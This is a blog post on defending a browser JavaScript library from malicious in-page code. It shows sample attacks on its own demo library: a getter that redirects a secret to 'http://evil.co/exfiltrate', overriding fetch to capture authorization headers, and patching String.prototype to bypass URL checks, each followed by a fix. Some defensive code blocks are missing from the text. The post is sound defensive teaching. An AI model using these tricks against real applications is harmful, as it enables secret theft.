Image for post
Image for post

Protecting your JavaScript APIs

Thomas Hunter II
Jan 31, 2019 · 7 min read

When writing JavaScript libraries developers generally consider the user of the library to be well intentioned. Though they may add runtime checks (e.g., “the third argument is expected to be a string”) to APIs to prevent misuse, most libraries are not designed to interact with malicious code. But suppose your users were malicious. What does it take to make a JavaScript library robust against a malicious environment?

In this article we’re going to consider a browser-based JavaScript API and look at ways to protect it from a malicious actor who interacts with it. (Node.js has other concerns we won’t be looking at, such as its lack of memory safety). In these situations we’re going to assume our library code has loaded before the malicious actor is able to make changes. (If the malicious actor has already had a chance to prepare the environment then all bets are off.)

This article is meant to be educational, but the approach we’ll take is more from a fun game of cat-and-mouse approach than necessarily being a practical, easy-to-implement approach.

In these examples we’ll consider the situation where a library contains a secret string and the attacker wants to extract that string by any means possible. Essentially, the attacker is able to eval() code within the application. Such a situation isn't as uncommon as you would think; consider a tool like AWS Lambda which does its own initialization then executes JavaScript provided by a third party. Let’s start with the following frontend JavaScript library file:

The above file can be loaded by way of <script src="sensitive.js"></script>.

This code is then usable by another script loaded in the same session by doing the following:

const s = new Sensitive();
s.transmit('message', (err, res) => {});

How many ways to steal the Z1ON0101 password can you think of?

Hiding private values

const s = new Sensitive();
alert(s._password);

Fun fact: In JavaScript, a function can be coerced into a string. When this happens you actually get access to the code of that function. Also, if you stringify a class, you’ll get access to all the code for that class. This means an attacker can figure out the password by simply calling alert(String(Sensitive))!

Fixing this first class of problems can be solved by creating a closure. That approach looks like the following:

Now the attacker can no longer stringify the Sensitive function. They also can't grab the _password field as it no longer exists on the object, but is instead a variable in an inaccessible context.

Double getters

let x = 0;
const options = {
get url() {
if (++x <= 2) {
return 'https://example.com/post';
}
return 'http://evil.co/exfiltrate';
}
};
(new Sensitive(options)).transmit('foo', () => {});

This options object will trick our library into transmitting the password to the evil.co domain. The reason for this is the multiple object property lookups we're performing in our library code. When we do the typeof check that fires the get for the first time. When we check to see if the string startsWith a value, that's the second get call. Each one of these checks increments the x counter. Finally, once we actually retrieve the value and assign it to url, the third get call has been performed. At that point the getter returns the “mutated” value.

Fixing this is as easy as reading the object property a single time:

This is an example of a Time of check to time of use bug. We affectionately refer to it as the “double getter” attack around the Intrinsic office, and we take care to prevent such an attack when application code interacts with Node.js APIs.

Preventing basic modifications

const s = new Sensitive();
const backupGetAuthorization = s.getAuthorization;
s.getAuthorization = function(pw) {
alert(pw);
return backupGetAuthorization(pw);
};
s.transmit('message', (err, res) => {});

How can we prevent this issue from happening? One approach is to prevent extensions to the exported Sensitive instance. We have a whole article on this at JavaScript Object Property Descriptors, Proxies, and Preventing Extension, but we'll cover just enough content here to lock down our library.

There are a few ways to prevent extensions to an object but the most straightforward approach is to use Object.freeze(). This method will essentially make it so that an object can no longer be mutated.

To do this we can modify our example like so:

(Technically in this example we could have removed the getAuthorization method from the returned object, since it doesn't require access to this within the method, simply declaring it as an unexposed function.)

Locking down APIs we rely on

The attacker may replace the fetch method by doing the following:

const originalFetch = window.fetch;window.fetch = function(url, options) {
alert(options.headers.Authorization);
return originalFetch(url, options);
};

Since our library is loaded before the attacker has been able to run code we can defend against this attack by grabbing a copy of the global fetch function before it can be switched. Doing so would look like this:

Once we’ve done that, any future modifications to window.fetch will not affect our code. Also note that we've backed up Object.freeze and btoa for the same purposes.

One thing that we’re not going to look at in this article is how dependencies in Node.js are affected. Specifically, there are very large implications when it comes to the require cache. Also, consider that with Node.js, if you've got an object which you don't normally provide to the calling environment, but that object can be retrieved specifically by require('module/file.js'), then that's yet another way to access objects in an unanticipated manner.

Modifications to global prototypes

const startsWithBackup = String.prototype.startsWith;
String.prototype.startsWith = () => true;
(new Sensitive({url: 'http://evil.co' }))
.transmit('foo', () => {});
String.prototype.startsWith = startsWithBackup;

This example temporarily changes every string within the application for a short amount of time. The change will allow the library validation to pass regardless of the string being passed in.

This can be avoided by grabbing the original method and caching it, much like we did in the Locking down dependencies section. Here is an example of doing this:

{
const startsWithBackup = String.prototype.startsWith;
// ...
startsWithBackup.bind("xyz")("x");
}

This is just a simple example but the implications are much worse when you consider that an attacker can change the prototype for every single object by doing the following:

Object.prototype.toString = () => 'foo';

All sorts of chaos can happen when such a change is made in an application. It is possible to get around some of these situations by making objects which don’t use the global Object prototype:

const obj = Object.create(null);

In this case, obj wouldn't be affected by the previous modification to the Object prototype. But this represents a lot of manual work and really isn't too feasible of an approach.

Conclusion

Have you appreciated the level of paranoia that we’ve covered in this article? Well, it just so happens that we’ve built a security product which employs just as much paranoia. We harden the Node.js APIs and provide a system for whitelisting the operations which your Node.js process is allowed to perform. Every step of the way we consider different attacks like the ones shown above.

Our product is able to keep an application running using multiple sandboxes. Remember how painful it was to deal with locking down object prototypes and preventing malicious code from wreaking havoc all over an application? Well, we’ve built our sandboxing technology in such a way that one sandbox is never able to mutate the object prototypes in another sandbox. But, this is just one of many examples of how we secure an application. We take the dependable secure-by-construction approach, as opposed to the narrative-friendly plug-the-leaks approach used in this article.

If you’re interested in providing fine-grained policies to your Node.js application then check out our product: Intrinsic.

Banner Photo by Jose Fontano.

intrinsic

Learn more about everything from deep dives to tutorials on…

Medium is an open platform where 170 million readers come to find insightful and dynamic thinking. Here, expert and undiscovered voices alike dive into the heart of any topic and bring new ideas to the surface. Learn more

Follow the writers, publications, and topics that matter to you, and you’ll see them on your homepage and in your inbox. Explore

If you have a story to tell, knowledge to share, or a perspective to offer — welcome home. It’s easy and free to post your thinking on any topic. Write on Medium

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store